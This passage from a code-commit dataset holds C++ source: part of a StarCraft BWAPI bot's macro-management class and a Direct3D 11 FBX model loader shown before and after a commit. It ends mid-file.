a better, or templatey\/lambda way?\n\t\tBase* closestBase = nullptr;\n\t\tdouble closestDistance = std::numeric_limits<double>::max();\n\t\tfor(Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), position);\n\t\t\t\tif (distance < closestDistance) {\n\t\t\t\t\tclosestDistance = distance;\n\t\t\t\t\tclosestBase = &base;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn *closestBase;\n\t}\n\n\t\/\/ Worker\n\tint Macro::getTotalWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalWorkers(); });\n\t}\n\n\tint Macro::getMineralWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalMineralWorkers(); });\n\t}\n\n\tint Macro::getGasWorkers() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getTotalGasWorkers(); });\n\t}\n\n\tbool Macro::isWorkerNeededForSaturation() {\n\t\treturn std::any_of(bases.begin(), bases.end(), [](Base& base) { return base.isWorkerNeeded(); });\n\t}\n\n\tint Macro::getWorkersNeededForSaturation() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getWorkersNeeded(); });\n\t}\n\t\n\tvoid Macro::buildWorkerDrone() {\n\t\tauto base = std::find_if(bases.begin(), bases.end(), [](Base& base) { return base.isWorkerNeeded(); });\n\t\tplanUnit(UnitTypes::Zerg_Drone, base->bwemBase.Center());\n\t}\n\n\tvoid Macro::addDrone(BWAPI::Unit drone) {\n\t\tBase* closestEstablished = nullptr;\n\t\tdouble closestEstablishedDistance = std::numeric_limits<double>::max();\n\n\t\tBase* closestEstablishedWorkerNeeded = nullptr;\n\t\tdouble closestEstablishedWorkerNeededDistance = std::numeric_limits<double>::max();\n\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\n\t\t\t\t\/\/ Get any base where we can put a worker if we have no base that needs a worker\n\t\t\t\tif (!closestEstablished) {\n\t\t\t\t\tclosestEstablished = &base;\n\t\t\t\t\tclosestEstablishedDistance = Util::distance(closestEstablished->bwemBase.Center(), drone->getPosition());\n\t\t\t\t}\n\n\t\t\t\t\/\/ If the base needs worker and is closer, use it\n\t\t\t\tif (base.isWorkerNeeded()) {\n\t\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), drone->getPosition());\n\t\t\t\t\tif (distance < closestEstablishedWorkerNeededDistance) {\n\t\t\t\t\t\tclosestEstablishedWorkerNeeded = &base;\n\t\t\t\t\t\tclosestEstablishedWorkerNeededDistance = distance;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ If we have no closest base that needs worker, check if the current established base is closest and if yes, use it\n\t\t\t\tif (!closestEstablishedWorkerNeeded) {\n\t\t\t\t\tdouble distance = Util::distance(base.bwemBase.Center(), drone->getPosition());\n\t\t\t\t\tif (distance < closestEstablishedDistance) {\n\t\t\t\t\t\tclosestEstablishedDistance = distance;\n\t\t\t\t\t\tclosestEstablished = &base;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (closestEstablishedWorkerNeeded)\n\t\t\tclosestEstablishedWorkerNeeded->addWorker(drone);\n\t\telse if(closestEstablished)\n\t\t\tclosestEstablished->addWorker(drone);\n\t\t\t\/\/ If not, I guess we are dead\n\t}\n\n\tBWAPI::Unit Macro::getDroneForBuilding(BWAPI::Position position) {\n\t\t\/\/ Predicates for getNearestBase, we want to have workers here\n\t\treturn getNearestBase(position).removeWorker(position);\n\t}\n\n\n\t\/\/ Gas\n\tint Macro::getGasWorkerSlotsAvailable() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [](int sum, Base& base) { return sum + base.getGasWorkerSlotsAvailable(); });\n\t}\n\n\tint Macro::getExtractorsAbleToBuild() {\n\t\treturn std::accumulate(bases.begin(), bases.end(), 0, [&](int sum, Base& base) { return sum + base.getExtractorsAbleToBuild(); });\n\t}\n\n\tvoid Macro::buildExtractor() { \/\/ TODO build extractor at safeset base\n\t\tfor (Base& base : bases) {\n\t\t\tif (base.isEstablished()) {\n\t\t\t\tfor (Geyser& geyser : base.geysers) {\n\t\t\t\t\tif (geyser.isBuildable()) {\n\t\t\t\t\t\tplanExtractor(geyser);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid Macro::addGasWorker() {\n\n\t}\n\n\tvoid Macro::removeGasWorker() {\n\n\t}\n\n\t\/\/ Larva\n\tint Macro::getTotalLarvaeAmount() {\n\t\treturn getAllLarvae().size();\n\t}\n\n\t\/\/ Can return nullptr\n\tBWAPI::Unit Macro::getUnreservedLarva(Position nearTo) {\n\t\tstd::vector<BWAPI::Unit> url = getUnreservedLarvae();\n\t\tif (url.size() > 0)\n\t\t\treturn Util::findClosestUnit(url, nearTo);\n\t\telse\n\t\treturn nullptr;\n\t}\n\n\tint Macro::getUnreservedLarvaeAmount() {\n\t\treturn getUnreservedLarvae().size();\n\t}\n\n\n\t\/\/ Estimates\n\tResources Macro::getUnreservedResources() {\n\t\tResources resources = { Broodwar->self()->minerals(), Broodwar->self()->gas() };\n\n\t\tfor (std::shared_ptr<Planned> planned : plannedStuff) {\n\t\t\tresources.minerals -= planned->getMineralPrice();\n\t\t\tresources.gas -= planned->getGasPrice();\n\t\t}\n\n\t\treturn resources;\n\t}\n\n\tdouble Macro::getAverageMineralsPerFrame() {\n\t\treturn 0;\n\t}\n\n\tdouble Macro::getAverageGasPerFrame() {\n\t\treturn 0;\n\t}\n\n\t\/\/ Private\n\tvoid Macro::initBases() {\n\t\tfor (const BWEM::Area& bwemArea : bc.bwem.Areas()) {\n\t\t\t\n\t\t\tArea& area = bc.map.getArea(bwemArea);\n\t\t\tfor (const BWEM::Base& bwemBase : bwemArea.Bases()) {\n\t\t\t\tbases.emplace_back(bc, bwemBase, area);\n\t\t\t\tBase& base = bases.back();\n\n\t\t\t\t\/\/ Starting Base\n\t\t\t\tif (bwemBase.Starting()) {\n\t\t\t\t\tBWAPI::Unit startingHatchery = getStartingHatchery();\n\t\t\t\t\tif (bwemBase.Location() == startingHatchery->getTilePosition()) {\n\n\t\t\t\t\t\tbase.hatchery = startingHatchery;\n\t\t\t\t\t\tUnitset drones = Broodwar->getUnitsInRadius(startingHatchery->getPosition(), 350, BWAPI::Filter::IsWorker);\n\n\t\t\t\t\t\tfor (Unit drone : drones) {\n\t\t\t\t\t\t\tbase.addWorker(drone);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor (Base& base : bases)\n\t\t\tif (base.hatchery)\n\t\t\t\tfor (Worker& worker : base.workers)\n\t\t\t\t\tif (worker.mineral && worker.mineral->id <= 0) {\n\t\t\t\t\t\t\/\/ TODO BIG BIG ERROR\n\t\t\t\t\t\t\/\/assert(!\"Wrong mineral ids!\");\n\t\t\t\t\t\tBroodwar->sendText(\"!!!!! Error! Wrong Mineral IDs! !!!!!\");\n\t\t\t\t\t}\n\t}\n\n\tBWAPI::Unit Macro::getStartingHatchery() {\n\t\tfor (auto &unit : Broodwar->self()->getUnits()) {\n\t\t\tif (unit->getType().isResourceDepot()) {\n\t\t\t\treturn unit;\n\t\t\t}\n\t\t}\n\t\treturn nullptr;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getAllLarvae() {\n\t\tstd::vector<BWAPI::Unit> allLarvae;\n\n\t\tfor (Unit hatchery : hatcheries) {\n\t\t\tUnitset hatchLarvae = hatchery->getLarva();\n\t\t\tstd::copy(hatchLarvae.begin(), hatchLarvae.end(), std::back_inserter(allLarvae));\n\t\t}\n\t\treturn allLarvae;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getReservedLarvae() {\n\t\tstd::vector<BWAPI::Unit> reservedLarvae;\n\n\t\t\/\/ TODO this doesn't look good\n\t\tfor (std::shared_ptr<Planned> planned : plannedStuff) {\n\t\t\tstd::shared_ptr<PlannedUnit> pu = std::dynamic_pointer_cast<PlannedUnit>(planned); \/\/ TODO Dynamic Cast is bad?\n\t\t\tif (pu) {\n\t\t\t\tUnit larva = pu->reservedLarva();\n\t\t\t\tif (larva)\n\t\t\t\t\treservedLarvae.push_back(larva); \/\/ Can you push a nullptr?\n\t\t\t}\n\t\t}\n\n\t\treturn reservedLarvae;\n\t}\n\n\tstd::vector<BWAPI::Unit> Macro::getUnreservedLarvae() {\n\t\tstd::vector<BWAPI::Unit> allLarvae = getAllLarvae();\n\t\tstd::vector<BWAPI::Unit> reservedLarvae = getReservedLarvae();\n\t\tstd::vector<BWAPI::Unit> unreservedLarvae;\n\n\t\tstd::sort(allLarvae.begin(), allLarvae.end());\n\t\tstd::sort(reservedLarvae.begin(), reservedLarvae.end());\n\t\tstd::set_difference(allLarvae.begin(), allLarvae.end(), reservedLarvae.begin(), reservedLarvae.end(), std::inserter(unreservedLarvae, unreservedLarvae.begin()));\n\n\t\treturn unreservedLarvae;\n\t}\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>prepare: remove also calls to __VERIFIER_assert in RemoveErrorCalls pass<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\r\n#include \"model.h\"\r\n\r\nModel::Model(DeviceResources* resources)\r\n{\r\n\tm_pDeviceResources = shared_ptr<DeviceResources>(resources);\r\n}\r\n\r\nModel::~Model()\r\n{\r\n\r\n}\r\n\r\nHRESULT Model::Initialize()\r\n{\r\n\tauto result = LoadModelFromFBXFile(\"..\/Models\/teapot.fbx\");\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\r\n\t\/\/auto result = InitializeVertexBuffer();\r\n\t\/\/if (FAILED(result))\r\n\t\/\/{\r\n\t\/\/\treturn result;\r\n\t\/\/}\r\n\r\n\t\/\/result = InitializeIndexBuffer(NULL);\r\n\t\/\/if (FAILED(result))\r\n\t\/\/{\r\n\t\/\/\treturn result;\r\n\t\/\/}\r\n\r\n\treturn InitializeConstantBuffer();\r\n}\r\n\r\nHRESULT Model::LoadModelFromFBXFile(char* fileName)\r\n{\r\n\tDebug::WriteCurrentDir();\r\n\tauto sdkManager = FbxManager::Create();\r\n\r\n\tauto fbxIOsettings = FbxIOSettings::Create(sdkManager, IOSROOT);\r\n\tsdkManager->SetIOSettings(fbxIOsettings);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_MATERIAL, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_TEXTURE, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_ANIMATION, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_TEXTURE, false);\r\n\r\n\tauto fbxImporter = FbxImporter::Create(sdkManager, \"\");\r\n\tauto fbxScene = FbxScene::Create(sdkManager, \"\");\r\n\r\n\tauto success = fbxImporter->Initialize(fileName, -1, sdkManager->GetIOSettings());\r\n\tif (!success)\r\n\t{\r\n\t\treturn success;\r\n\t}\r\n\r\n\tsuccess = fbxImporter->Import(fbxScene);\r\n\tfbxImporter->Destroy();\r\n\r\n\tif (!success)\r\n\t{\r\n\t\treturn success;\r\n\t}\r\n\r\n\tauto axisSystem = fbxScene->GetGlobalSettings().GetAxisSystem();\r\n\r\n\tauto fbxRootNode = fbxScene->GetRootNode();\r\n\tauto count = fbxRootNode->GetChildCount();\r\n\r\n\tauto modelVertices = new vector<Vertex>();\r\n\tauto modelIndexes = new vector<unsigned int>();\r\n\r\n\r\n\t\/\/ The scene maybe\r\n\tfor (auto s = 0; s < count; s++)\r\n\t{\r\n\t\tauto child = fbxRootNode->GetChild(s);\r\n\t\tauto childName = child->GetName();\r\n\t\tauto childCount = child->GetChildCount();\r\n\r\n\t\t\/\/ For each model in the scene\r\n\t\tfor (auto m = 0; m < childCount; m++)\r\n\t\t{\r\n\t\t\tchild = child->GetChild(m);\r\n\r\n\t\t\tif (child->GetNodeAttribute() == NULL)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tauto attributeType = child->GetNodeAttribute()->GetAttributeType();\r\n\r\n\t\t\tif (attributeType != FbxNodeAttribute::eMesh)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tDebug::WriteLine(\"FBX : Loading child\", childName);\r\n\r\n\t\t\tauto childMesh = child->GetMesh();\r\n\t\t\tauto vertexCount = childMesh->GetPolygonVertexCount();\r\n\t\t\tauto vertexIndexes = childMesh->GetPolygonVertices();\r\n\t\t\tauto controlPoints = childMesh->GetControlPoints();\r\n\t\t\tauto controlPointsCount = childMesh->GetControlPointsCount();\r\n\r\n\t\t\tfor (auto cp = 0; cp < controlPointsCount; cp++)\r\n\t\t\t{\r\n\t\t\t\tauto point = controlPoints[cp];\r\n\t\t\t\tauto newVertex = new Vertex();\r\n\r\n\t\t\t\tnewVertex->Position = ConvertFbxVector4ToXMFLOAT4(&point, &axisSystem, 1.0);\r\n\t\t\t\tnewVertex->Color\t= XMFLOAT3{ 0.9f, 0.7f, 1.0f };\r\n\t\t\t\tnewVertex->UV\t\t= XMFLOAT2{ 0.0f, 0.0f };\r\n\t\t\t\tnewVertex->Normal\t= XMFLOAT2{ 0.0f, 0.0f };\r\n\r\n\t\t\t\tmodelVertices->push_back(*newVertex);\r\n\t\t\t}\r\n\r\n\t\t\tfor (auto v = 0; v < vertexCount; v++)\r\n\t\t\t{\r\n\t\t\t\tmodelIndexes->push_back(vertexIndexes[v]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (modelVertices->size() <= 0)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tDeviceResource()->IndexCount = modelIndexes->size();\r\n\tDeviceResource()->VertexCount = modelVertices->size();\r\n\r\n\tD3D11_BUFFER_DESC vertexBufferDesc = { 0 };\r\n\tvertexBufferDesc.ByteWidth = sizeof(Vertex) * modelVertices->size();\r\n\tvertexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tvertexBufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tvertexBufferDesc.CPUAccessFlags = 0;\r\n\tvertexBufferDesc.MiscFlags = 0;\r\n\tvertexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA vertexBufferData = { 0 };\r\n\tvertexBufferData.pSysMem = &modelVertices[0];\r\n\tvertexBufferData.SysMemPitch = 0;\r\n\tvertexBufferData.SysMemSlicePitch = 0;\r\n\r\n\tauto result = DeviceResource()->Device->CreateBuffer(&vertexBufferDesc, &vertexBufferData, &DeviceResource()->VertexBuffer);\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\r\n\tD3D11_BUFFER_DESC indexBufferDesc = { 0 };\r\n\tindexBufferDesc.ByteWidth = sizeof(unsigned int) * DeviceResource()->IndexCount;\r\n\tindexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tindexBufferDesc.BindFlags = D3D11_BIND_INDEX_BUFFER;\r\n\tindexBufferDesc.CPUAccessFlags = 0;\r\n\tindexBufferDesc.MiscFlags = 0;\r\n\tindexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA indexBufferData = { 0 };\r\n\tindexBufferData.pSysMem = &modelIndexes[0];\r\n\tindexBufferData.SysMemPitch = 0;\r\n\tindexBufferData.SysMemSlicePitch = 0;\r\n\r\n\t\/\/ fbxScene->Destroy();\r\n\t\/\/ fbxRootNode->Destroy();\r\n\r\n\treturn DeviceResource()->Device->CreateBuffer(&indexBufferDesc, &indexBufferData, &DeviceResource()->IndexBuffer);\r\n}\r\n\r\nHRESULT Model::LoadModelFromOBJFile(char* fileName)\r\n{\r\n\t\/\/ TODO : Get the vertices from the file\r\n\r\n\tVertex* vertices[] = { 0 };\r\n\r\n\tm_initData.pSysMem = vertices;\r\n\tm_initData.SysMemPitch = 0;\r\n\tm_initData.SysMemSlicePitch = 0;\r\n\r\n\tm_bufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tm_bufferDesc.ByteWidth = sizeof(Vertex) * ARRAYSIZE(vertices);\r\n\tm_bufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tm_bufferDesc.CPUAccessFlags = 0;\r\n\tm_bufferDesc.MiscFlags = 0;\r\n\r\n\treturn 0;\r\n}\r\n\r\nXMFLOAT4 Model::ConvertFbxVector4ToXMFLOAT4(FbxVector4* coordinate, FbxAxisSystem* axisSystem, float scale)\r\n{\r\n\tbool rightHanded = true;\r\n\tauto coordSystem = axisSystem->GetCoorSystem();\r\n\tif (coordSystem != FbxAxisSystem::ECoordSystem::eRightHanded)\r\n\t{\r\n\t\trightHanded = false;\r\n\t}\r\n\r\n\tbool yUp = true;\r\n\tbool xFront = false;\r\n\r\n\tint upInverter = 1;\r\n\tint upVectorSign;\r\n\tauto upVector = axisSystem->GetUpVector(upVectorSign);\r\n\tif (upVectorSign != -1)\r\n\t{\r\n\t\tupInverter = -1;\r\n\t}\r\n\tif (upVector != FbxAxisSystem::eYAxis)\r\n\t{\r\n\t\tyUp = false;\r\n\t}\r\n\r\n\tint frontInverter = 1;\r\n\tint frontVectorSign;\r\n\tauto frontVector = axisSystem->GetFrontVector(frontVectorSign);\r\n\tif (frontVectorSign != -1)\r\n\t{\r\n\t\tfrontInverter = -1;\r\n\t}\r\n\r\n\tauto l = 0.0f;\r\n\tauto x = 0.0f;\r\n\tauto y = 0.0f;\r\n\tauto z = 0.0f;\r\n\r\n\tXMFLOAT4 dxVector;\r\n\r\n\tif (xFront)\r\n\t{\r\n\t\tl = coordinate->mData[3];\r\n\t\tx = coordinate->mData[2] * scale;\r\n\t\ty = coordinate->mData[1] * upInverter * scale;\r\n\t\tz = coordinate->mData[0] * frontInverter * scale;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tx = coordinate->mData[0] * scale;\r\n\t\ty = coordinate->mData[1] * upInverter * scale;\r\n\t\tz = coordinate->mData[2] * frontInverter * scale;\r\n\t\tl = coordinate->mData[3];\r\n\t}\r\n\r\n\tdxVector = XMFLOAT4\r\n\t{\r\n\t\tstatic_cast<float>(x),\r\n\t\tstatic_cast<float>(y),\r\n\t\tstatic_cast<float>(z),\r\n\t\tstatic_cast<float>(l)\r\n\t};\r\n\treturn dxVector;\r\n}\r\n\r\nHRESULT Model::InitializeConstantBuffer()\r\n{\r\n\t\/\/ Belongs to renderer class\r\n\tD3D11_BUFFER_DESC constantBufferDesc = { 0 };\r\n\tconstantBufferDesc.ByteWidth = sizeof(ConstantBufferData);\r\n\tconstantBufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER;\r\n\r\n\tD3D11_SUBRESOURCE_DATA constantBufferData = { 0 };\r\n\tconstantBufferData.pSysMem = &DeviceResource()->ConstBuffer;\r\n\tconstantBufferData.SysMemPitch = 0;\r\n\tconstantBufferData.SysMemSlicePitch = 0;\r\n\r\n\treturn DeviceResource()->Device->CreateBuffer(&constantBufferDesc, &constantBufferData, &DeviceResource()->ConstBuffer);\r\n}\r\n\r\nHRESULT Model::InitializeVertexBuffer()\r\n{\r\n\tstatic const Vertex cube[] =\r\n\t{\r\n\t\t{ XMFLOAT4(-0.5f, -0.5f, -0.5f, 0.0f), XMFLOAT3(0.0f, 0.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, -0.5f, 0.5f, 0.0f), XMFLOAT3(0.0f, 0.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, 0.5f, -0.5f, 0.0f), XMFLOAT3(0.0f, 1.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, 0.5f, 0.5f, 0.0f), XMFLOAT3(0.0f, 1.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(0.5f, -0.5f, -0.5f, 0.0f), XMFLOAT3(1.0f, 0.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(0.5f, -0.5f, 0.5f, 0.0f), XMFLOAT3(1.0f, 0.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(0.5f, 0.5f, -0.5f, 0.0f), XMFLOAT3(1.0f, 1.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(0.5f, 0.5f, 0.5f, 0.0f), XMFLOAT3(1.0f, 1.0f, 1.0f) },\r\n\t};\r\n\r\n\tD3D11_BUFFER_DESC vertexBufferDesc = { 0 };\r\n\tvertexBufferDesc.ByteWidth = sizeof(Vertex) * ARRAYSIZE(cube);\r\n\tvertexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tvertexBufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tvertexBufferDesc.CPUAccessFlags = 0;\r\n\tvertexBufferDesc.MiscFlags = 0;\r\n\tvertexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA vertexBufferData = { 0 };\r\n\tvertexBufferData.pSysMem = cube;\r\n\tvertexBufferData.SysMemPitch = 0;\r\n\tvertexBufferData.SysMemSlicePitch = 0;\r\n\r\n\treturn DeviceResource()->Device->CreateBuffer(&vertexBufferDesc, &vertexBufferData, &DeviceResource()->VertexBuffer);\r\n}\r\n\r\nHRESULT Model::InitializeIndexBuffer(int indeces[])\r\n{\r\n\t\/\/ 6 faces * 4 vertices = 24 vertices. \r\n\tstatic const unsigned int cubeIndices[] =\r\n\t{\r\n\t\t0, 2, 1, 1, 2, 3, 4, 5, 6, 5, 7, 6,\r\n\t\t0, 1, 5, 0, 5, 4, 2, 6, 7, 2, 7, 3,\r\n\t\t0, 4, 6, 0, 6, 2, 1, 3, 7, 1, 7, 5\r\n\t};\r\n\r\n\tDeviceResource()->IndexCount = ARRAYSIZE(cubeIndices);\r\n\r\n\tD3D11_BUFFER_DESC indexBufferDesc;\r\n\tindexBufferDesc.ByteWidth = sizeof(unsigned int) * ARRAYSIZE(cubeIndices);\r\n\tindexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tindexBufferDesc.BindFlags = D3D11_BIND_INDEX_BUFFER;\r\n\tindexBufferDesc.CPUAccessFlags = 0;\r\n\tindexBufferDesc.MiscFlags = 0;\r\n\tindexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA indexBufferData;\r\n\tindexBufferData.pSysMem = cubeIndices;\r\n\tindexBufferData.SysMemPitch = 0;\r\n\tindexBufferData.SysMemSlicePitch = 0;\r\n\r\n\tauto result = DeviceResource()->Device->CreateBuffer(&indexBufferDesc, &indexBufferData, &DeviceResource()->IndexBuffer);\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nHRESULT Model::CreateVertexAndIndexBuffer(XMFLOAT3* vertices)\r\n{\r\n\t\/\/long size = 0;\r\n\t\/\/int* indexBuffer = new int[size];\r\n\t\/\/Vertex* vertexBuffer = new Vertex[size];\r\n\r\n\t\/\/for (long i = 0; i < size; i++)\r\n\t\/\/{\r\n\t\/\/\tvertexBuffer[i].Position = vertices[i];\r\n\t\/\/\tindexBuffer[i] = i;\r\n\t\/\/}\r\n\treturn 0;\r\n}\r\n\r\n\/\/ TODO : Add material<commit_msg>still dont know<commit_after>#include \"stdafx.h\"\r\n#include \"model.h\"\r\n\r\nModel::Model(DeviceResources* resources)\r\n{\r\n\tm_pDeviceResources = shared_ptr<DeviceResources>(resources);\r\n}\r\n\r\nModel::~Model()\r\n{\r\n\r\n}\r\n\r\nHRESULT Model::Initialize()\r\n{\r\n\tauto result = LoadModelFromFBXFile(\"..\/Models\/teapot.fbx\");\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\r\n\t\/\/auto result = InitializeVertexBuffer();\r\n\t\/\/if (FAILED(result))\r\n\t\/\/{\r\n\t\/\/\treturn result;\r\n\t\/\/}\r\n\r\n\t\/\/result = InitializeIndexBuffer(NULL);\r\n\t\/\/if (FAILED(result))\r\n\t\/\/{\r\n\t\/\/\treturn result;\r\n\t\/\/}\r\n\r\n\treturn InitializeConstantBuffer();\r\n}\r\n\r\nHRESULT Model::LoadModelFromFBXFile(char* fileName)\r\n{\r\n\tDebug::WriteCurrentDir();\r\n\tauto sdkManager = FbxManager::Create();\r\n\r\n\tauto fbxIOsettings = FbxIOSettings::Create(sdkManager, IOSROOT);\r\n\tsdkManager->SetIOSettings(fbxIOsettings);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_MATERIAL, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_TEXTURE, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_ANIMATION, false);\r\n\tfbxIOsettings->SetBoolProp(IMP_FBX_TEXTURE, false);\r\n\r\n\tauto fbxImporter = FbxImporter::Create(sdkManager, \"\");\r\n\tauto fbxScene = FbxScene::Create(sdkManager, \"\");\r\n\r\n\tauto success = fbxImporter->Initialize(fileName, -1, sdkManager->GetIOSettings());\r\n\tif (!success)\r\n\t{\r\n\t\treturn success;\r\n\t}\r\n\r\n\tsuccess = fbxImporter->Import(fbxScene);\r\n\tfbxImporter->Destroy();\r\n\r\n\tif (!success)\r\n\t{\r\n\t\treturn success;\r\n\t}\r\n\r\n\tauto axisSystem = fbxScene->GetGlobalSettings().GetAxisSystem();\r\n\r\n\tauto fbxRootNode = fbxScene->GetRootNode();\r\n\tauto count = fbxRootNode->GetChildCount();\r\n\r\n\tauto modelVertices = new vector<Vertex>();\r\n\tauto modelIndexes = new vector<unsigned int>();\r\n\r\n\r\n\t\/\/ The scene maybe\r\n\tfor (auto s = 0; s < count; s++)\r\n\t{\r\n\t\tauto child = fbxRootNode->GetChild(s);\r\n\t\tauto childName = child->GetName();\r\n\t\tauto childCount = child->GetChildCount();\r\n\r\n\t\t\/\/ For each model in the scene\r\n\t\tfor (auto m = 0; m < childCount; m++)\r\n\t\t{\r\n\t\t\tchild = child->GetChild(m);\r\n\r\n\t\t\tif (child->GetNodeAttribute() == NULL)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tauto attributeType = child->GetNodeAttribute()->GetAttributeType();\r\n\r\n\t\t\tif (attributeType != FbxNodeAttribute::eMesh)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tDebug::WriteLine(\"FBX : Loading child\", childName);\r\n\r\n\t\t\tauto childMesh = child->GetMesh();\r\n\t\t\tauto vertexCount = childMesh->GetPolygonVertexCount();\r\n\t\t\tauto vertexIndexes = childMesh->GetPolygonVertices();\r\n\t\t\tauto controlPoints = childMesh->GetControlPoints();\r\n\t\t\tauto controlPointsCount = childMesh->GetControlPointsCount();\r\n\r\n\t\t\tfor (auto cp = 0; cp < controlPointsCount; cp++)\r\n\t\t\t{\r\n\t\t\t\tauto point = controlPoints[cp];\r\n\t\t\t\tauto newVertex = new Vertex();\r\n\r\n\t\t\t\tnewVertex->Position = ConvertFbxVector4ToXMFLOAT4(&point, &axisSystem, 1.0);\r\n\t\t\t\tnewVertex->Color\t= XMFLOAT3{ 0.9f, 0.7f, 1.0f };\r\n\t\t\t\tnewVertex->UV\t\t= XMFLOAT2{ 0.0f, 0.0f };\r\n\t\t\t\tnewVertex->Normal\t= XMFLOAT2{ 0.0f, 0.0f };\r\n\r\n\t\t\t\tmodelVertices->push_back(*newVertex);\r\n\t\t\t}\r\n\r\n\t\t\tfor (auto v = 0; v < vertexCount; v++)\r\n\t\t\t{\r\n\t\t\t\tmodelIndexes->push_back(vertexIndexes[v]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (modelVertices->size() <= 0)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tDeviceResource()->IndexCount = modelIndexes->size();\r\n\tDeviceResource()->VertexCount = modelVertices->size();\r\n\r\n\tD3D11_BUFFER_DESC vertexBufferDesc = { 0 };\r\n\tvertexBufferDesc.ByteWidth = sizeof(Vertex) * modelVertices->size();\r\n\tvertexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tvertexBufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tvertexBufferDesc.CPUAccessFlags = 0;\r\n\tvertexBufferDesc.MiscFlags = 0;\r\n\tvertexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA vertexBufferData = { 0 };\r\n\tvertexBufferData.pSysMem = &modelVertices[0];\r\n\tvertexBufferData.SysMemPitch = 0;\r\n\tvertexBufferData.SysMemSlicePitch = 0;\r\n\r\n\tauto result = DeviceResource()->Device->CreateBuffer(&vertexBufferDesc, &vertexBufferData, &DeviceResource()->VertexBuffer);\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\r\n\tD3D11_BUFFER_DESC indexBufferDesc = { 0 };\r\n\tindexBufferDesc.ByteWidth = sizeof(unsigned int) * DeviceResource()->IndexCount;\r\n\tindexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tindexBufferDesc.BindFlags = D3D11_BIND_INDEX_BUFFER;\r\n\tindexBufferDesc.CPUAccessFlags = 0;\r\n\tindexBufferDesc.MiscFlags = 0;\r\n\tindexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA indexBufferData = { 0 };\r\n\tindexBufferData.pSysMem = &modelIndexes[0];\r\n\tindexBufferData.SysMemPitch = 0;\r\n\tindexBufferData.SysMemSlicePitch = 0;\r\n\r\n\t\/\/ fbxScene->Destroy();\r\n\t\/\/ fbxRootNode->Destroy();\r\n\r\n\treturn 